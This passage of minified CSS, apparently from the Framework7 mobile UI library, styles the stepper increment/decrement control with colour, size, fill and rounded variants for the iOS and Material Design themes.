.stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#4cd964}.ios .stepper.color-blue .stepper-button,.ios .stepper.color-blue .stepper-button-minus,.ios .stepper.color-blue .stepper-button-plus{border-color:#007aff;color:#007aff}.ios .stepper.color-blue .stepper-button-minus.active-state,.ios .stepper.color-blue .stepper-button-plus.active-state,.ios .stepper.color-blue .stepper-button.active-state{background-color:rgba(0,122,255,.15)}.ios .stepper.color-blue .stepper-button-minus:after,.ios .stepper.color-blue .stepper-button-minus:before,.ios .stepper.color-blue .stepper-button-plus:after,.ios .stepper.color-blue .stepper-button-plus:before{background-color:#007aff}.ios .stepper.color-blue .stepper-input-wrap,.ios .stepper.color-blue .stepper-value{border-top-color:#007aff;border-bottom-color:#007aff}.ios .stepper.color-blue .stepper-value{color:#007aff}.ios .stepper.color-blue .stepper-input-wrap input{color:#007aff}.ios .stepper.color-blue.stepper-fill .stepper-button,.ios .stepper.color-blue.stepper-fill .stepper-button-minus,.ios .stepper.color-blue.stepper-fill .stepper-button-plus,.ios .stepper.color-blue.stepper-fill-ios .stepper-button,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus{background-color:#007aff}.ios .stepper.color-blue.stepper-fill .stepper-button-minus:after,.ios .stepper.color-blue.stepper-fill .stepper-button-minus:before,.ios .stepper.color-blue.stepper-fill .stepper-button-plus:after,.ios .stepper.color-blue.stepper-fill .stepper-button-plus:before,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button.active-state{color:#007aff;border-color:#007aff;background-color:transparent}.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#007aff}.ios .stepper.color-pink .stepper-button,.ios .stepper.color-pink .stepper-button-minus,.ios .stepper.color-pink .stepper-button-plus{border-color:#ff2d55;color:#ff2d55}.ios .stepper.color-pink .stepper-button-minus.active-state,.ios .stepper.color-pink .stepper-button-plus.active-state,.ios .stepper.color-pink .stepper-button.active-state{background-color:rgba(255,45,85,.15)}.ios .stepper.color-pink .stepper-button-minus:after,.ios .stepper.color-pink .stepper-button-minus:before,.ios .stepper.color-pink .stepper-button-plus:after,.ios .stepper.color-pink .stepper-button-plus:before{background-color:#ff2d55}.ios .stepper.color-pink .stepper-input-wrap,.ios .stepper.color-pink .stepper-value{border-top-color:#ff2d55;border-bottom-color:#ff2d55}.ios .stepper.color-pink .stepper-value{color:#ff2d55}.ios .stepper.color-pink .stepper-input-wrap input{color:#ff2d55}.ios .stepper.color-pink.stepper-fill .stepper-button,.ios .stepper.color-pink.stepper-fill .stepper-button-minus,.ios .stepper.color-pink.stepper-fill .stepper-button-plus,.ios .stepper.color-pink.stepper-fill-ios .stepper-button,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus{background-color:#ff2d55}.ios .stepper.color-pink.stepper-fill .stepper-button-minus:after,.ios .stepper.color-pink.stepper-fill .stepper-button-minus:before,.ios .stepper.color-pink.stepper-fill .stepper-button-plus:after,.ios .stepper.color-pink.stepper-fill .stepper-button-plus:before,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button.active-state{color:#ff2d55;border-color:#ff2d55;background-color:transparent}.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff2d55}.ios .stepper.color-yellow .stepper-button,.ios .stepper.color-yellow .stepper-button-minus,.ios .stepper.color-yellow .stepper-button-plus{border-color:#fc0;color:#fc0}.ios .stepper.color-yellow .stepper-button-minus.active-state,.ios .stepper.color-yellow .stepper-button-plus.active-state,.ios .stepper.color-yellow .stepper-button.active-state{background-color:rgba(255,204,0,.15)}.ios .stepper.color-yellow .stepper-button-minus:after,.ios .stepper.color-yellow .stepper-button-minus:before,.ios .stepper.color-yellow .stepper-button-plus:after,.ios .stepper.color-yellow .stepper-button-plus:before{background-color:#fc0}.ios .stepper.color-yellow .stepper-input-wrap,.ios .stepper.color-yellow .stepper-value{border-top-color:#fc0;border-bottom-color:#fc0}.ios .stepper.color-yellow .stepper-value{color:#fc0}.ios .stepper.color-yellow .stepper-input-wrap input{color:#fc0}.ios .stepper.color-yellow.stepper-fill .stepper-button,.ios .stepper.color-yellow.stepper-fill .stepper-button-minus,.ios .stepper.color-yellow.stepper-fill .stepper-button-plus,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus{background-color:#fc0}.ios .stepper.color-yellow.stepper-fill .stepper-button-minus:after,.ios .stepper.color-yellow.stepper-fill .stepper-button-minus:before,.ios .stepper.color-yellow.stepper-fill .stepper-button-plus:after,.ios .stepper.color-yellow.stepper-fill .stepper-button-plus:before,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button.active-state{color:#fc0;border-color:#fc0;background-color:transparent}.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#fc0}.ios .stepper.color-orange .stepper-button,.ios .stepper.color-orange .stepper-button-minus,.ios .stepper.color-orange .stepper-button-plus{border-color:#ff9500;color:#ff9500}.ios .stepper.color-orange .stepper-button-minus.active-state,.ios .stepper.color-orange .stepper-button-plus.active-state,.ios .stepper.color-orange .stepper-button.active-state{background-color:rgba(255,149,0,.15)}.ios .stepper.color-orange .stepper-button-minus:after,.ios .stepper.color-orange .stepper-button-minus:before,.ios .stepper.color-orange .stepper-button-plus:after,.ios .stepper.color-orange .stepper-button-plus:before{background-color:#ff9500}.ios .stepper.color-orange .stepper-input-wrap,.ios .stepper.color-orange .stepper-value{border-top-color:#ff9500;border-bottom-color:#ff9500}.ios .stepper.color-orange .stepper-value{color:#ff9500}.ios .stepper.color-orange .stepper-input-wrap input{color:#ff9500}.ios .stepper.color-orange.stepper-fill .stepper-button,.ios .stepper.color-orange.stepper-fill .stepper-button-minus,.ios .stepper.color-orange.stepper-fill .stepper-button-plus,.ios .stepper.color-orange.stepper-fill-ios .stepper-button,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus{background-color:#ff9500}.ios .stepper.color-orange.stepper-fill .stepper-button-minus:after,.ios .stepper.color-orange.stepper-fill .stepper-button-minus:before,.ios .stepper.color-orange.stepper-fill .stepper-button-plus:after,.ios .stepper.color-orange.stepper-fill .stepper-button-plus:before,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button.active-state{color:#ff9500;border-color:#ff9500;background-color:transparent}.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff9500}.ios .stepper.color-gray .stepper-button,.ios .stepper.color-gray .stepper-button-minus,.ios .stepper.color-gray .stepper-button-plus{border-color:#8e8e93;color:#8e8e93}.ios .stepper.color-gray .stepper-button-minus.active-state,.ios .stepper.color-gray .stepper-button-plus.active-state,.ios .stepper.color-gray .stepper-button.active-state{background-color:rgba(142,142,147,.15)}.ios .stepper.color-gray .stepper-button-minus:after,.ios .stepper.color-gray .stepper-button-minus:before,.ios .stepper.color-gray .stepper-button-plus:after,.ios .stepper.color-gray .stepper-button-plus:before{background-color:#8e8e93}.ios .stepper.color-gray .stepper-input-wrap,.ios .stepper.color-gray .stepper-value{border-top-color:#8e8e93;border-bottom-color:#8e8e93}.ios .stepper.color-gray .stepper-value{color:#8e8e93}.ios .stepper.color-gray .stepper-input-wrap input{color:#8e8e93}.ios .stepper.color-gray.stepper-fill .stepper-button,.ios .stepper.color-gray.stepper-fill .stepper-button-minus,.ios .stepper.color-gray.stepper-fill .stepper-button-plus,.ios .stepper.color-gray.stepper-fill-ios .stepper-button,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus{background-color:#8e8e93}.ios .stepper.color-gray.stepper-fill .stepper-button-minus:after,.ios .stepper.color-gray.stepper-fill .stepper-button-minus:before,.ios .stepper.color-gray.stepper-fill .stepper-button-plus:after,.ios .stepper.color-gray.stepper-fill .stepper-button-plus:before,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button.active-state{color:#8e8e93;border-color:#8e8e93;background-color:transparent}.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#8e8e93}.ios .stepper.color-white .stepper-button,.ios .stepper.color-white .stepper-button-minus,.ios .stepper.color-white .stepper-button-plus{border-color:#fff;color:#fff}.ios .stepper.color-white .stepper-button-minus.active-state,.ios .stepper.color-white .stepper-button-plus.active-state,.ios .stepper.color-white .stepper-button.active-state{background-color:rgba(255,255,255,.15)}.ios .stepper.color-white .stepper-button-minus:after,.ios .stepper.color-white .stepper-button-minus:before,.ios .stepper.color-white .stepper-button-plus:after,.ios .stepper.color-white .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-white .stepper-input-wrap,.ios .stepper.color-white .stepper-value{border-top-color:#fff;border-bottom-color:#fff}.ios .stepper.color-white .stepper-value{color:#fff}.ios .stepper.color-white .stepper-input-wrap input{color:#fff}.ios .stepper.color-white.stepper-fill .stepper-button,.ios .stepper.color-white.stepper-fill .stepper-button-minus,.ios .stepper.color-white.stepper-fill .stepper-button-plus,.ios .stepper.color-white.stepper-fill-ios .stepper-button,.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus{background-color:#fff}.ios .stepper.color-white.stepper-fill .stepper-button-minus:after,.ios .stepper.color-white.stepper-fill .stepper-button-minus:before,.ios .stepper.color-white.stepper-fill .stepper-button-plus:after,.ios .stepper.color-white.stepper-fill .stepper-button-plus:before,.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button.active-state{color:#fff;border-color:#fff;background-color:transparent}.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#fff}.ios .stepper.color-black .stepper-button,.ios .stepper.color-black .stepper-button-minus,.ios .stepper.color-black .stepper-button-plus{border-color:#000;color:#000}.ios .stepper.color-black .stepper-button-minus.active-state,.ios .stepper.color-black .stepper-button-plus.active-state,.ios .stepper.color-black .stepper-button.active-state{background-color:rgba(0,0,0,.15)}.ios .stepper.color-black .stepper-button-minus:after,.ios .stepper.color-black .stepper-button-minus:before,.ios .stepper.color-black .stepper-button-plus:after,.ios .stepper.color-black .stepper-button-plus:before{background-color:#000}.ios .stepper.color-black .stepper-input-wrap,.ios .stepper.color-black .stepper-value{border-top-color:#000;border-bottom-color:#000}.ios .stepper.color-black .stepper-value{color:#000}.ios .stepper.color-black .stepper-input-wrap input{color:#000}.ios .stepper.color-black.stepper-fill .stepper-button,.ios .stepper.color-black.stepper-fill .stepper-button-minus,.ios .stepper.color-black.stepper-fill .stepper-button-plus,.ios .stepper.color-black.stepper-fill-ios .stepper-button,.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus{background-color:#000}.ios .stepper.color-black.stepper-fill .stepper-button-minus:after,.ios .stepper.color-black.stepper-fill .stepper-button-minus:before,.ios .stepper.color-black.stepper-fill .stepper-button-plus:after,.ios .stepper.color-black.stepper-fill .stepper-button-plus:before,.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button.active-state{color:#000;border-color:#000;background-color:transparent}.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#000}.md .stepper{height:36px}.md .stepper-button,.md .stepper-button-minus,.md .stepper-button-plus{border:2px solid #2196f3;color:#2196f3;line-height:34px;height:36px;width:40px;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);overflow:hidden}.md .stepper-button+.stepper-button,.md .stepper-button+.stepper-button-minus,.md .stepper-button+.stepper-button-plus,.md .stepper-button-minus+.stepper-button,.md .stepper-button-minus+.stepper-button-minus,.md .stepper-button-minus+.stepper-button-plus,.md .stepper-button-plus+.stepper-button,.md .stepper-button-plus+.stepper-button-minus,.md .stepper-button-plus+.stepper-button-plus{border-right:none}.md .stepper-button-minus.active-state,.md .stepper-button-plus.active-state,.md .stepper-button.active-state{background:rgba(0,0,0,.1)}.md .stepper-button-minus:first-child,.md .stepper-button-plus:first-child,.md .stepper-button:first-child{border-radius:0 4px 4px 0}.md .stepper-button-minus:last-child,.md .stepper-button-plus:last-child,.md .stepper-button:last-child{border-radius:4px 0 0 4px}.md .stepper-button-minus:after,.md .stepper-button-minus:before,.md .stepper-button-plus:after,.md .stepper-button-plus:before{background:#2196f3}.md .stepper-input-wrap,.md .stepper-value{border-top:2px solid #2196f3;border-bottom:2px solid #2196f3}.md .stepper .stepper-input-wrap input,.md .stepper .stepper-value{color:#2196f3;font-size:14px;font-weight:500;text-align:center}.md .stepper .stepper-input-wrap input{height:100%}.md .stepper-fill .stepper-button,.md .stepper-fill .stepper-button-minus,.md .stepper-fill .stepper-button-plus,.md .stepper-fill-md .stepper-button,.md .stepper-fill-md .stepper-button-minus,.md .stepper-fill-md .stepper-button-plus{background-color:#2196f3;color:#fff;border:none;line-height:36px}.md .stepper-fill .stepper-button-minus.active-state,.md .stepper-fill .stepper-button-plus.active-state,.md .stepper-fill .stepper-button.active-state,.md .stepper-fill-md .stepper-button-minus.active-state,.md .stepper-fill-md .stepper-button-plus.active-state,.md .stepper-fill-md .stepper-button.active-state{background:#0c82df}.md .stepper-fill .stepper-button-minus:after,.md .stepper-fill .stepper-button-minus:before,.md .stepper-fill .stepper-button-plus:after,.md .stepper-fill .stepper-button-plus:before,.md .stepper-fill .stepper-button:after,.md .stepper-fill .stepper-button:before,.md .stepper-fill-md .stepper-button-minus:after,.md .stepper-fill-md .stepper-button-minus:before,.md .stepper-fill-md .stepper-button-plus:after,.md .stepper-fill-md .stepper-button-plus:before,.md .stepper-fill-md .stepper-button:after,.md .stepper-fill-md .stepper-button:before{background:#fff}.md .stepper-fill .stepper-button+.stepper-button,.md .stepper-fill .stepper-button-minus+.stepper-button-plus,.md .stepper-fill-md .stepper-button+.stepper-button,.md .stepper-fill-md .stepper-button-minus+.stepper-button-plus{border-right:1px solid rgba(0,0,0,.1)}.md .stepper-fill-md.stepper-big .stepper-button,.md .stepper-fill-md.stepper-big .stepper-button-minus,.md .stepper-fill-md.stepper-big .stepper-button-plus,.md .stepper-fill-md.stepper-big-md .stepper-button,.md .stepper-fill-md.stepper-big-md .stepper-button-minus,.md .stepper-fill-md.stepper-big-md .stepper-button-plus,.md .stepper-fill.stepper-big .stepper-button,.md .stepper-fill.stepper-big .stepper-button-minus,.md .stepper-fill.stepper-big .stepper-button-plus,.md .stepper-fill.stepper-big-md .stepper-button,.md .stepper-fill.stepper-big-md .stepper-button-minus,.md .stepper-fill.stepper-big-md .stepper-button-plus{line-height:48px}.md .stepper-fill-md.stepper-small .stepper-button,.md .stepper-fill-md.stepper-small .stepper-button-minus,.md .stepper-fill-md.stepper-small .stepper-button-plus,.md .stepper-fill-md.stepper-small-md .stepper-button,.md .stepper-fill-md.stepper-small-md .stepper-button-minus,.md .stepper-fill-md.stepper-small-md .stepper-button-plus,.md .stepper-fill.stepper-small .stepper-button,.md .stepper-fill.stepper-small .stepper-button-minus,.md .stepper-fill.stepper-small .stepper-button-plus,.md .stepper-fill.stepper-small-md .stepper-button,.md .stepper-fill.stepper-small-md .stepper-button-minus,.md .stepper-fill.stepper-small-md .stepper-button-plus{line-height:28px}.md .stepper-small,.md .stepper-small-md{height:28px}.md .stepper-small .stepper-button,.md .stepper-small .stepper-button-minus,.md .stepper-small .stepper-button-plus,.md .stepper-small-md .stepper-button,.md .stepper-small-md .stepper-button-minus,.md .stepper-small-md .stepper-button-plus{height:28px;line-height:24px}.md .stepper-small .stepper-button,.md .stepper-small .stepper-button-minus,.md .stepper-small .stepper-button-plus,.md .stepper-small .stepper-input-wrap,.md .stepper-small .stepper-value,.md .stepper-small-md .stepper-button,.md .stepper-small-md .stepper-button-minus,.md .stepper-small-md .stepper-button-plus,.md .stepper-small-md .stepper-input-wrap,.md .stepper-small-md .stepper-value{border-width:2px}.md .stepper-big,.md .stepper-big-md{height:48px}.md .stepper-big .stepper-button,.md .stepper-big .stepper-button-minus,.md .stepper-big .stepper-button-plus,.md .stepper-big-md .stepper-button,.md .stepper-big-md .stepper-button-minus,.md .stepper-big-md .stepper-button-plus{height:48px;line-height:46px}.md .stepper-big .stepper-button-minus:first-child,.md .stepper-big .stepper-button-plus:first-child,.md .stepper-big .stepper-button:first-child,.md .stepper-big-md .stepper-button-minus:first-child,.md .stepper-big-md .stepper-button-plus:first-child,.md .stepper-big-md .stepper-button:first-child{border-radius:0 4px 4px 0}.md .stepper-big .stepper-button-minus:last-child,.md .stepper-big .stepper-button-plus:last-child,.md .stepper-big .stepper-button:last-child,.md .stepper-big-md .stepper-button-minus:last-child,.md .stepper-big-md .stepper-button-plus:last-child,.md .stepper-big-md .stepper-button:last-child{border-radius:4px 0 0 4px}.md .stepper-round .stepper-button-minus:first-child,.md .stepper-round .stepper-button-plus:first-child,.md .stepper-round .stepper-button:first-child,.md .stepper-round-md .stepper-button-minus:first-child,.md .stepper-round-md .stepper-button-plus:first-child,.md .stepper-round-md .stepper-button:first-child{border-radius:0 36px 36px 0}.md .stepper-round .stepper-button-minus:last-child,.md .stepper-round .stepper-button-plus:last-child,.md .stepper-round .stepper-button:last-child,.md .stepper-round-md .stepper-button-minus:last-child,.md .stepper-round-md .stepper-button-plus:last-child,.md .stepper-round-md .stepper-button:last-child{border-radius:36px 0 0 36px}.md .stepper-raised{-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);border-radius:4px}.md .stepper-raised.stepper-big,.md .stepper-raised.stepper-big-md{border-radius:4px}.md .stepper-raised.stepper-round,.md .stepper-raised.stepper-round-md{border-radius:36px}.md .stepper-raised .stepper-input-wrap,.md .stepper-raised .stepper-value{border:none}.md .stepper-raised:not(.stepper-fill):not(.stepper-fill-md) .stepper-input-wrap,.md .stepper-raised:not(.stepper-fill):not(.stepper-fill-md) .stepper-value{border-left:1px solid rgba(0,0,0,.1);border-right:1px solid rgba(0,0,0,.1)}.md .stepper-raised .stepper-button,.md .stepper-raised .stepper-button-minus,.md .stepper-raised .stepper-button-plus{border:none}.md .stepper-raised .stepper-button+.stepper-button,.md .stepper-raised .stepper-button-minus+.stepper-button-plus{border-right:1px solid rgba(0,0,0,.1)}.md .color-theme-red .stepper-button,.md .color-theme-red .stepper-button-minus,.md .color-theme-red .stepper-button-plus{border-color:#f44336;color:#f44336}.md .color-theme-red .stepper-button-minus:after,.md .color-theme-red .stepper-button-minus:before,.md .color-theme-red .stepper-button-plus:after,.md .color-theme-red .stepper-button-plus:before{background:#f44336}.md .color-theme-red .stepper-input-wrap,.md .color-theme-red .stepper-value{border-top-color:#f44336;border-bottom-color:#f44336}.md .color-theme-red .stepper-value{color:#f44336}.md .color-theme-red .stepper .stepper-input-wrap input{color:#f44336}.md .color-theme-red .stepper-fill .stepper-button,.md .color-theme-red .stepper-fill .stepper-button-minus,.md .color-theme-red .stepper-fill .stepper-button-plus,.md .color-theme-red .stepper-fill-md .stepper-button,.md .color-theme-red .stepper-fill-md .stepper-button-minus,.md .color-theme-red .stepper-fill-md .stepper-button-plus{background-color:#f44336;color:#fff}.md .color-theme-red .stepper-fill .stepper-button-minus.active-state,.md .color-theme-red .stepper-fill .stepper-button-plus.active-state,.md .color-theme-red .stepper-fill .stepper-button.active-state,.md .color-theme-red .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-red .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-red .stepper-fill-md .stepper-button.active-state{background:#f21f0f}.md .color-theme-red .stepper-fill .stepper-button-minus:after,.md .color-theme-red .stepper-fill .stepper-button-minus:before,.md .color-theme-red .stepper-fill .stepper-button-plus:after,.md .color-theme-red .stepper-fill .stepper-button-plus:before,.md .color-theme-red .stepper-fill .stepper-button:after,.md .color-theme-red .stepper-fill .stepper-button:before,.md .color-theme-red .stepper-fill-md .stepper-button-minus:after,.md .color-theme-red .stepper-fill-md .stepper-button-minus:before,.md .color-theme-red .stepper-fill-md .stepper-button-plus:after,.md .color-theme-red .stepper-fill-md .stepper-button-plus:before,.md .color-theme-red .stepper-fill-md .stepper-button:after,.md .color-theme-red .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-green .stepper-button,.md .color-theme-green .stepper-button-minus,.md .color-theme-green .stepper-button-plus{border-color:#4caf50;color:#4caf50}.md 